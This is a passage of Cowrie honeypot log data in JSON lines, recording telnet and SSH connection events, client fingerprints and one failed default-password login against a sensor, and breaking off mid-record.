{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":33826,"dst_ip":"10.17.0.5","dst_port":23,"session":"b98c0b22258f","protocol":"telnet","message":"New connection: 162.214.112.92:33826 (10.17.0.5:23) [session: b98c0b22258f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:42.426516Z"}
{"eventid":"cowrie.session.closed","duration":31.14899206161499,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:42.890132Z","src_ip":"216.22.21.200","session":"054e6e9e4af2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29340362548828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:43.231220Z","src_ip":"162.241.40.195","session":"e57aa7fea5e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":46750,"dst_ip":"10.17.0.5","dst_port":23,"session":"beeced84691a","protocol":"telnet","message":"New connection: 192.161.62.114:46750 (10.17.0.5:23) [session: beeced84691a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:43.505580Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":57722,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf274414885c","protocol":"telnet","message":"New connection: 162.241.40.195:57722 (10.17.0.5:23) [session: cf274414885c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:44.460358Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":43842,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8f9a8f9da6a","protocol":"telnet","message":"New connection: 176.74.31.147:43842 (159.203.135.109:23) [session: c8f9a8f9da6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:45.300534Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":47430,"dst_ip":"10.17.0.5","dst_port":23,"session":"a70cf2ffa3d5","protocol":"telnet","message":"New connection: 192.161.62.114:47430 (10.17.0.5:23) [session: a70cf2ffa3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:45.510959Z"}
{"eventid":"cowrie.session.closed","duration":30.76761555671692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:45.522753Z","src_ip":"162.241.40.195","session":"558c0d0e2411","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":57950,"dst_ip":"10.17.0.5","dst_port":23,"session":"b313bc601b52","protocol":"telnet","message":"New connection: 162.241.40.195:57950 (10.17.0.5:23) [session: b313bc601b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:45.848478Z"}
{"eventid":"cowrie.session.closed","duration":30.257467031478882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:46.074328Z","src_ip":"40.84.199.249","session":"6f160cebc169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070428133010864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:46.568617Z","src_ip":"108.179.218.230","session":"787d282ad5ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07193899154663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:47.000785Z","src_ip":"162.241.40.195","session":"1b590e382479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":44896,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d766a3f8804","protocol":"telnet","message":"New connection: 40.84.199.249:44896 (10.17.0.5:23) [session: 5d766a3f8804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:47.113552Z"}
{"eventid":"cowrie.session.closed","duration":31.14362859725952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:47.234929Z","src_ip":"192.161.62.114","session":"bf770216a212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":48158,"dst_ip":"10.17.0.5","dst_port":23,"session":"c19188037bf6","protocol":"telnet","message":"New connection: 192.161.62.114:48158 (10.17.0.5:23) [session: c19188037bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:47.292379Z"}
{"eventid":"cowrie.session.closed","duration":31.206323623657227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:47.920231Z","src_ip":"192.161.62.114","session":"3c98e4cb9283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":43836,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5aadff6f902","protocol":"telnet","message":"New connection: 108.179.218.230:43836 (10.17.0.5:23) [session: c5aadff6f902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:48.172635Z"}
{"eventid":"cowrie.session.closed","duration":31.44100284576416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:48.303017Z","src_ip":"162.241.40.195","session":"4ea456538070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":43882,"dst_ip":"10.17.0.5","dst_port":23,"session":"69022a95f2a2","protocol":"telnet","message":"New connection: 108.179.218.230:43882 (10.17.0.5:23) [session: 69022a95f2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:48.321557Z"}
{"eventid":"cowrie.session.closed","duration":31.572230339050293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:48.646052Z","src_ip":"216.22.21.200","session":"4b9fbe0421e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644547700881958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:48.843723Z","src_ip":"162.241.40.195","session":"2fab712b5651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":48572,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b78a3b50897","protocol":"telnet","message":"New connection: 192.161.62.114:48572 (10.17.0.5:23) [session: 4b78a3b50897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:49.115079Z"}
{"eventid":"cowrie.session.closed","duration":31.335886478424072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:49.548653Z","src_ip":"64.235.40.29","session":"335d93985993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":45936,"dst_ip":"10.17.0.5","dst_port":23,"session":"18e0c974dc0f","protocol":"telnet","message":"New connection: 40.84.199.249:45936 (10.17.0.5:23) [session: 18e0c974dc0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:50.211424Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":59194,"dst_ip":"10.17.0.5","dst_port":23,"session":"00131c6ddfa6","protocol":"telnet","message":"New connection: 162.241.40.195:59194 (10.17.0.5:23) [session: 00131c6ddfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:50.269745Z"}
{"eventid":"cowrie.session.closed","duration":31.37598729133606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:50.390232Z","src_ip":"192.161.62.114","session":"4b00c66ae4d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":46262,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2a1ea9500be","protocol":"telnet","message":"New connection: 40.84.199.249:46262 (10.17.0.5:23) [session: a2a1ea9500be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:50.640819Z"}
{"eventid":"cowrie.session.closed","duration":31.742604970932007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:51.340287Z","src_ip":"162.214.112.92","session":"c2d8b26cf4f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":45682,"dst_ip":"10.17.0.5","dst_port":23,"session":"50a2719d53bb","protocol":"telnet","message":"New connection: 108.179.218.230:45682 (10.17.0.5:23) [session: 50a2719d53bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:51.695580Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":49092,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa366d00a6e5","protocol":"telnet","message":"New connection: 176.74.31.147:49092 (159.203.135.109:23) [session: aa366d00a6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:52.388487Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":33646,"dst_ip":"10.17.0.5","dst_port":23,"session":"15dc954c381a","protocol":"telnet","message":"New connection: 162.241.40.195:33646 (10.17.0.5:23) [session: 15dc954c381a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:52.534422Z"}
{"eventid":"cowrie.session.closed","duration":31.387763261795044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:53.313760Z","src_ip":"162.241.40.195","session":"fde4330f710f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":49120,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb28d77728b5","protocol":"telnet","message":"New connection: 176.74.31.147:49120 (159.203.135.109:23) [session: fb28d77728b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:53.433010Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":33658,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b25e86d982d","protocol":"telnet","message":"New connection: 162.241.40.195:33658 (10.17.0.5:23) [session: 7b25e86d982d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:53.555634Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":46098,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1be0d91d53b","protocol":"telnet","message":"New connection: 108.179.218.230:46098 (10.17.0.5:23) [session: f1be0d91d53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:53.632270Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":46584,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ae61088d68d","protocol":"telnet","message":"New connection: 108.179.218.230:46584 (10.17.0.5:23) [session: 8ae61088d68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:53.673403Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":34036,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c7fa2180505","protocol":"telnet","message":"New connection: 162.241.40.195:34036 (10.17.0.5:23) [session: 1c7fa2180505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:54.172714Z"}
{"eventid":"cowrie.session.closed","duration":31.499614715576172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:54.924355Z","src_ip":"108.179.218.230","session":"7e7ca77077f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3884859085083,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:55.079480Z","src_ip":"162.214.112.92","session":"bd48d5bb47e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909780979156494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:55.101106Z","src_ip":"64.235.40.29","session":"d0d614b1908b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":48160,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d21e37faecb","protocol":"telnet","message":"New connection: 40.84.199.249:48160 (10.17.0.5:23) [session: 0d21e37faecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:55.123701Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":51822,"dst_ip":"10.17.0.5","dst_port":23,"session":"575e9004a4f4","protocol":"telnet","message":"New connection: 192.161.62.114:51822 (10.17.0.5:23) [session: 575e9004a4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:55.523210Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":50876,"dst_ip":"159.203.135.109","dst_port":23,"session":"371194974165","protocol":"telnet","message":"New connection: 176.74.31.147:50876 (159.203.135.109:23) [session: 371194974165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:55.558653Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":59549,"dst_ip":"10.17.0.5","dst_port":23,"session":"596d627e39e0","protocol":"telnet","message":"New connection: 133.130.75.21:59549 (10.17.0.5:23) [session: 596d627e39e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:57.435375Z"}
{"eventid":"cowrie.session.closed","duration":30.914745092391968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:57.547496Z","src_ip":"108.179.218.230","session":"81bf037640bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14746928215027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:57.727966Z","src_ip":"162.214.112.92","session":"521b38681c03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.974357843399048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:57.993926Z","src_ip":"162.241.40.195","session":"d4607f9d7617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67873215675354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:58.086465Z","src_ip":"216.22.21.200","session":"f9ebb3183b3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":49206,"dst_ip":"10.17.0.5","dst_port":23,"session":"abdf5f18d0ed","protocol":"telnet","message":"New connection: 40.84.199.249:49206 (10.17.0.5:23) [session: abdf5f18d0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:58.167477Z"}
{"eventid":"cowrie.session.closed","duration":31.553321599960327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:58.181402Z","src_ip":"108.179.218.230","session":"a65b21b584b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":52706,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f414dec5b4","protocol":"telnet","message":"New connection: 192.161.62.114:52706 (10.17.0.5:23) [session: c0f414dec5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:58.313732Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":49252,"dst_ip":"10.17.0.5","dst_port":23,"session":"16a9764ee99b","protocol":"telnet","message":"New connection: 40.84.199.249:49252 (10.17.0.5:23) [session: 16a9764ee99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:58.318764Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":52714,"dst_ip":"10.17.0.5","dst_port":23,"session":"1047405ea3a3","protocol":"telnet","message":"New connection: 192.161.62.114:52714 (10.17.0.5:23) [session: 1047405ea3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:58.576454Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":59745,"dst_ip":"10.17.0.5","dst_port":23,"session":"08f09d4bf7b7","protocol":"telnet","message":"New connection: 133.130.75.21:59745 (10.17.0.5:23) [session: 08f09d4bf7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:58.580103Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54244,"dst_ip":"159.203.135.109","dst_port":22,"session":"660d49ab711f","protocol":"ssh","message":"New connection: 159.203.92.129:54244 (159.203.135.109:22) [session: 660d49ab711f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:58.615858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:58.619932Z","src_ip":"159.203.92.129","session":"660d49ab711f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:58.624121Z","src_ip":"159.203.92.129","session":"660d49ab711f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arena","password":"123456","message":"login attempt [arena/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:58.635718Z","src_ip":"159.203.92.129","session":"660d49ab711f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.097805738449097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:59.095160Z","src_ip":"162.241.40.195","session":"5ed6e02a1a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":34610,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4995647812c","protocol":"telnet","message":"New connection: 162.241.40.195:34610 (10.17.0.5:23) [session: b4995647812c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:59.255507Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":52872,"dst_ip":"159.203.135.109","dst_port":23,"session":"48198d885e1b","protocol":"telnet","message":"New connection: 176.74.31.147:52872 (159.203.135.109:23) [session: 48198d885e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:59.350491Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:59.642145Z","src_ip":"159.203.92.129","session":"660d49ab711f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39198,"dst_ip":"159.203.135.109","dst_port":22,"session":"4351ffca79c3","protocol":"ssh","message":"New connection: 122.168.114.167:39198 (159.203.135.109:22) [session: 4351ffca79c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:59.980997Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":46790,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c3e7728f27c","protocol":"telnet","message":"New connection: 108.179.218.230:46790 (10.17.0.5:23) [session: 1c3e7728f27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:00.252132Z"}
{"eventid":"cowrie.session.closed","duration":31.335634231567383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:00.512292Z","src_ip":"40.84.199.249","session":"ddc76ae3e9b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":38176,"dst_ip":"10.17.0.5","dst_port":23,"session":"59702e71d5e8","protocol":"telnet","message":"New connection: 162.241.40.195:38176 (10.17.0.5:23) [session: 59702e71d5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:00.874960Z"}
{"eventid":"cowrie.session.closed","duration":31.030855178833008,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:01.093087Z","src_ip":"133.130.75.21","session":"7c2f10d9a747","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.568718910217285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:01.122152Z","src_ip":"133.130.75.21","session":"a06295b47909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803711891174316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:01.433095Z","src_ip":"108.179.218.230","session":"cbe007038ec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.048246383666992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:02.206215Z","src_ip":"133.130.75.21","session":"9a8138c69496","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:02.549068Z","src_ip":"122.168.114.167","session":"4351ffca79c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":53990,"dst_ip":"159.203.135.109","dst_port":23,"session":"17e12d29e16d","protocol":"telnet","message":"New connection: 176.74.31.147:53990 (159.203.135.109:23) [session: 17e12d29e16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:02.555990Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecds